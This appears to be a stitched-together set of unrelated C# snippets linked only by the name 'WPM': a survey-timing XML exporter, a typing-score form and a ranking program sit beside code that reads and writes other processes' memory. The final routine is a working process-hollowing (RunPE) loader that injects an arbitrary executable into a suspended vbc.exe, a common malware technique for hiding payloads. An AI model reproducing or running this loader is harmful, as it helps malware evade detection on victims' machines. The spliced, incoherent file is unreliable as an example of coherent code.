static void Main(string[] args) { Console.WriteLine("Enter input (enter a blank line to finish)"); var islands = new List <Resource[]>(); while (true) { var input = Console.ReadLine(); if (string.IsNullOrEmpty(input)) { break; } var island = Parser.Parse(input); islands.Add(island); } var wpm = new WPM(Resource.Priorities); var ranked = wpm.Rank(islands); Console.WriteLine(string.Join(' ', ranked)); }
private void button2_Click(object sender, EventArgs e) { // MessageBox.Show(comboBox1.SelectedValue.ToString()); // BOOL ReadProcessMemory(UINT64 pid, UINT64 startaddress, WORD bytestoread, DWORD *r) //BOOL WriteProcessMemory(UINT64 pid, UINT64 startaddress, WORD bytestowrite) //IntPtr r=InsufficientMemo unsafe { //progressBar1.PerformStep(); void *buffer = (byte *)Memory.Alloc(512); // try { IntPtr hModule = LoadLibrary("Empire.dll"); IntPtr RPMaddr = GetProcAddress((int)hModule, "RPM"); RPM ReadProcessMemory = (RPM)Marshal.GetDelegateForFunctionPointer(RPMaddr, typeof(RPM)); IntPtr WPMaddr = GetProcAddress((int)hModule, "WPM"); WPM WriteProcessMemory = (WPM)Marshal.GetDelegateForFunctionPointer(WPMaddr, typeof(WPM)); ReadProcessMemory((UInt64)PID, Convert.ToUInt64(textBox2.Text, 16), (UInt16)Value_Type, (IntPtr)buffer); //MessageBox.Show(buffer ); MessageBox.Show((*(UInt32 *)buffer).ToString()); //WriteProcessMemory((UInt64)PID, 0x00400000, 3); //MessageBox.Show(buffer[0] } // catch { } } }
private void button3_Click(object sender, EventArgs e) { unsafe { //progressBar1.PerformStep(); byte *buffer = (byte *)Memory.Alloc(512); // try { IntPtr hModule = LoadLibrary("Empire.dll"); IntPtr RPMaddr = GetProcAddress((int)hModule, "RPM"); RPM ReadProcessMemory = (RPM)Marshal.GetDelegateForFunctionPointer(RPMaddr, typeof(RPM)); IntPtr WPMaddr = GetProcAddress((int)hModule, "WPM"); WPM WriteProcessMemory = (WPM)Marshal.GetDelegateForFunctionPointer(WPMaddr, typeof(WPM)); // Memory.memcpy(buffer, , 4); // Memory.Copy((void*)String.Format("{0:X08}", Convert.ToInt32(textBox1.Text, 10)), (void*)buffer, 4); //String.Format("{0:X08}", Convert.ToInt32(textBox1.Text, 10)) //Console.WriteLine(String.Format("{0:X08}", Convert.ToInt32(textBox1.Text, 10))); *(UInt32 *)buffer = Convert.ToUInt32(textBox1.Text, 10); //String.Format("{0:00000000}",Convert.ToInt32(textBox1.Text, 10).ToString("X")) WriteProcessMemory((UInt64)PID, Convert.ToUInt64(textBox2.Text, 16), (UInt16)Value_Type, (IntPtr)buffer); //MessageBox.Show(buffer ); //MessageBox.Show((*(UInt32*)buffer).ToString()); //WriteProcessMemory((UInt64)PID, 0x00400000, 3); //MessageBox.Show(buffer[0] } // catch { } } }
public string ExportToXML() { XmlDocument timingData = new XmlDocument(); XmlNode surveyNode = timingData.CreateElement("SurveyTiming"); timingData.AppendChild(surveyNode); XmlAttribute surveyCode = timingData.CreateAttribute("Survey"); surveyCode.Value = SurveyCode; surveyNode.Attributes.Append(surveyCode); XmlAttribute runTitle = timingData.CreateAttribute("RunTitle"); runTitle.Value = Title; surveyNode.Attributes.Append(runTitle); XmlAttribute scheme = timingData.CreateAttribute("TimingScheme"); scheme.Value = "WholeSurvey"; surveyNode.Attributes.Append(scheme); XmlAttribute notes = timingData.CreateAttribute("Notes"); notes.Value = Notes; surveyNode.Attributes.Append(notes); XmlNode timing = timingData.CreateElement("Time"); XmlAttribute time = timingData.CreateAttribute("Mins"); time.Value = TotalTime.ToString(); timing.Attributes.Append(time); XmlAttribute wpm = timingData.CreateAttribute("WPM"); wpm.Value = WPM.ToString(); timing.Attributes.Append(wpm); XmlAttribute startQ = timingData.CreateAttribute("StartQ"); startQ.Value = StartQ.ToString(); timing.Attributes.Append(startQ); surveyNode.AppendChild(timing); XmlNode questions = timingData.CreateElement("Questions"); surveyNode.AppendChild(questions); // add all varnames and their filter vars foreach (LinkedQuestion q in Questions) { XmlNode varname = timingData.CreateElement("Question"); XmlAttribute name = timingData.CreateAttribute("VarName"); name.Value = q.VarName.FullVarName; varname.Attributes.Append(name); XmlAttribute refname = timingData.CreateAttribute("refVarName"); refname.Value = q.VarName.RefVarName; varname.Attributes.Append(refname); XmlAttribute varlabel = timingData.CreateAttribute("VarLabel"); varlabel.Value = q.VarName.VarLabel; varname.Attributes.Append(varlabel); XmlAttribute qnum = timingData.CreateAttribute("Qnum"); qnum.Value = q.Qnum; varname.Attributes.Append(qnum); // wordings XmlAttribute prep = timingData.CreateAttribute("PreP"); prep.Value = q.PreP; varname.Attributes.Append(prep); XmlAttribute prei = timingData.CreateAttribute("PreI"); prei.Value = q.PreI; varname.Attributes.Append(prei); XmlAttribute prea = timingData.CreateAttribute("PreA"); prea.Value = q.PreA; varname.Attributes.Append(prea); XmlAttribute litq = timingData.CreateAttribute("LitQ"); litq.Value = q.LitQ; varname.Attributes.Append(litq); XmlAttribute psti = timingData.CreateAttribute("PstI"); psti.Value = q.PstI; varname.Attributes.Append(psti); XmlAttribute pstp = timingData.CreateAttribute("PstP"); pstp.Value = q.PstP; varname.Attributes.Append(pstp); XmlAttribute respoptions = timingData.CreateAttribute("RespOptions"); respoptions.Value = q.RespOptions; varname.Attributes.Append(respoptions); XmlAttribute respname = timingData.CreateAttribute("RespName"); respname.Value = q.RespName; varname.Attributes.Append(respname); XmlAttribute nrcodes = timingData.CreateAttribute("NRCodes"); nrcodes.Value = q.NRCodes; varname.Attributes.Append(nrcodes); XmlNode scenarios = timingData.CreateElement("Scenarios"); varname.AppendChild(scenarios); // filters foreach (List <FilterInstruction> filterList in q.FilterList) { XmlNode scenario = timingData.CreateElement("Scenario"); foreach (FilterInstruction fi in filterList) { XmlNode filter = timingData.CreateElement("FilterInstruction"); XmlAttribute var = timingData.CreateAttribute("VarName"); var.Value = fi.VarName; filter.Attributes.Append(var); XmlAttribute oper = timingData.CreateAttribute("Operation"); oper.Value = fi.Oper.ToString(); filter.Attributes.Append(oper); XmlNode responses = timingData.CreateElement("Responses"); filter.AppendChild(responses); foreach (string responseValue in fi.ValuesStr) { XmlNode response = timingData.CreateElement("Response"); XmlAttribute resp = timingData.CreateAttribute("ResponseValue"); resp.Value = responseValue; response.Attributes.Append(resp); responses.AppendChild(response); } scenario.AppendChild(filter); } scenarios.AppendChild(scenario); } // weight info XmlAttribute weight = timingData.CreateAttribute("Weight"); weight.Value = q.Weight.Value.ToString(); varname.Attributes.Append(weight); XmlAttribute weightSource = timingData.CreateAttribute("WeightSource"); weightSource.Value = q.Weight.Source; varname.Attributes.Append(weightSource); questions.AppendChild(varname); } return(timingData.InnerXml); }
/// <summary> /// Izvršava se prilikom otvaranja forme. /// </summary> private void ScoreInput_Load(object sender, EventArgs e) { this.CenterToScreen(); lbCPM.Text = CPM.ToString(); lbWPM.Text = WPM.ToString(); }
public static void Run(byte[] bytes, string surrogateProcess) { IntPtr ptr5; if (surrogateProcess == null) { surrogateProcess = RuntimeEnvironment.GetRuntimeDirectory() + "vbc.exe"; } CP cp = CreateApi <CP>("kernel32", "CreateProcessA"); GTC gtc = CreateApi <GTC>("kernel32", "GetThreadContext"); NTU ntu = CreateApi <NTU>("ntdll", "NtUnmapViewOfSection"); RPM rpm = CreateApi <RPM>("kernel32", "ReadProcessMemory"); RT rt = CreateApi <RT>("kernel32", "ResumeThread"); STC stc = CreateApi <STC>("kernel32", "SetThreadContext"); VAE vae = CreateApi <VAE>("kernel32", "VirtualAllocEx"); VPE vpe = CreateApi <VPE>("kernel32", "VirtualProtectEx"); WPM wpm = CreateApi <WPM>("kernel32", "WriteProcessMemory"); int num3 = BitConverter.ToInt32(bytes, 60); int num2 = BitConverter.ToInt16(bytes, num3 + 6); IntPtr size = new IntPtr(BitConverter.ToInt32(bytes, num3 + 0x54)); byte[] sInfo = new byte[0x44]; IntPtr[] pInfo = new IntPtr[4]; if (cp(null, new StringBuilder(surrogateProcess), ptr5, ptr5, false, 4, ptr5, null, sInfo, pInfo)) { uint[] ctxt = new uint[0xb3]; ctxt[0] = 0x10002; if (gtc(pInfo[1], ctxt)) { IntPtr ptr; IntPtr ptr3; IntPtr baseAddr = new IntPtr(ctxt[0x29] + 8L); IntPtr bufrSize = new IntPtr(4); if (rpm(pInfo[0], baseAddr, ref ptr, bufrSize, ref ptr3) && (ntu(pInfo[0], ptr) == 0L)) { IntPtr addr = new IntPtr(BitConverter.ToInt32(bytes, num3 + 0x34)); IntPtr ptr9 = new IntPtr(BitConverter.ToInt32(bytes, num3 + 80)); IntPtr ptr2 = vae(pInfo[0], addr, ptr9, 0x3000, 0x40); bool flag = wpm(pInfo[0], ptr2, bytes, size, ref ptr3); int num5 = num2 - 1; for (int i = 0; i <= num5; i++) { int num; int[] dst = new int[10]; Buffer.BlockCopy(bytes, (num3 + 0xf8) + (i * 40), dst, 0, 40); byte[] buffer2 = new byte[(dst[4] - 1) + 1]; Buffer.BlockCopy(bytes, dst[5], buffer2, 0, buffer2.Length); ptr9 = new IntPtr(ptr2.ToInt32() + dst[3]); addr = new IntPtr(buffer2.Length); flag = wpm(pInfo[0], ptr9, buffer2, addr, ref ptr3); ptr9 = new IntPtr(ptr2.ToInt32() + dst[3]); addr = new IntPtr(dst[2]); flag = vpe(pInfo[0], ptr9, addr, x[(dst[9] >> 0x1d) & 7], ref num); } ptr9 = new IntPtr(ctxt[0x29] + 8L); addr = new IntPtr(4); flag = wpm(pInfo[0], ptr9, BitConverter.GetBytes(ptr2.ToInt32()), addr, ref ptr3); ctxt[0x2c] = (uint)(ptr2.ToInt32() + BitConverter.ToInt32(bytes, num3 + 40)); stc(pInfo[1], ctxt); } } rt(pInfo[1]); } }